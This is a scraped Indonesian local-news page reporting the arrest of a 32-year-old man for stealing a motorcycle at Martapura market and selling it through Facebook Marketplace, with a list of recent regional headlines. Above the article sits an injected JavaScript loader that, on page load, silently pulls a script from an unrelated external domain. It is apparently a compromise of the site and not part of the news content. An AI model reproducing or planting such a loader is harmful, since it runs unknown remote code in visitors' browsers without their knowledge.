(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KRIMINAL BANJAR

Jual Motor Curian di Facebook, MR Dibekuk Setelah 4 Bulan Aksinya di Pasar Martapura


KANALKALIMANTAN.COM, MARTAPURA – Lagi santai duduk di pinggir jalan, seorang pelaku pencurian kendaraan bermotor MR (32) diringkus aparat kepolisian.

Adalah MR, warga Pekapuran Raya, Kecamatan Banjarmasin Timur, diringkus anggota Polsek Martapura Kota pada Jum’at (5/2/2021) siang.

Pria ini berhasil dibekuk setelah sekitar 4 bulan silam mencuri sebuah sepeda motor di kawasan Pasar Martapura pada Senin 14 September 2020 lalu.

Kapolsek Martapura Kota AKP Suroto melalui Kanit Reskrim Polsek Martapura Kota Iptu B Munthe mengatakan, MR (32) warga Jalan Pekapuran Raya, Gg Sirih RT 11 RW 01, Kelurahan Pekapuran Raya, Kecamatan Banjarmasin Timur, diduga melakukan tindak pencurian kendaraan bermotor di Pasar Batuah Martapura, tepatnya di parkir depan Toko Sepeda Iwan, pada 14 September 2020 silam.

Munthe menjelaskan, ketika kejadian pencurian itu, korban berangkat kerja sebagai buruh di Pasar Martapura, lalu memarkir sepeda motor miliknya di depan Toko Sepeda Iwan.

“Karena korban terburu-buru karena sudah terlambat, korban lupa menaruh kunci sepeda motornya, ketika korban ingin mengantar barang dagangan, korban sudah tidak menemukan sepeda motornya lagi di tempat parkir,” beber Munthe.

Masih dalam keterangan polisi lalu korban berusaha untuk mencari di sekitar Pasar Martapura namun tidak ketemu.
Belakangan korban menemukan ada orang yang menawarkan sepeda motor milikya dijual melalui sosial media market place Facebook.

Selanjutnya, korban berusaha mengikuti dimana keberadaan sepeda motor tersebut dan akhirnya korban mendapat informasi bahwa sepeda motor tersebut berada di tangan seseorang yang berada di Perkapuran Raya, Banjarmasin.

Bermodal jejak di market place Facebook itulah, polisi melakukan penyelidikan dan pencarian pelaku beserta barang bukti.

Dan akhirnya, pada Jumat (5/2/2021) sekitar pukul 17:00 Wita, petugas kepolisian berhasil meringkus pelaku MR (32) yang sedang di duduk di pinggir Jalan Pekapuran Raya, Banjarmasin bersama barang bukti sepeda motor curian.

Hasil introgasi kepada pelaku, kalau sepeda motor Honda Vario warna biru putih Nopol DA 6646 QR, didapatkan dari seseorang dengan cara membeli melalui Facebook, namun pelaku tidak dapat menjelaskan orang dimaksud.

“Kini pelaku bersama barang bukti sudah diamankan di Mapolsek Martapura Kota, mempertanggung jawabkan perbuatannya,” pungkas Iptu Munthe. (kanalkalimantan.com/wahyu)

 

Reporter : Wahyu
Editor : Bie

 

 

 

 

 


Al Ghifari

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.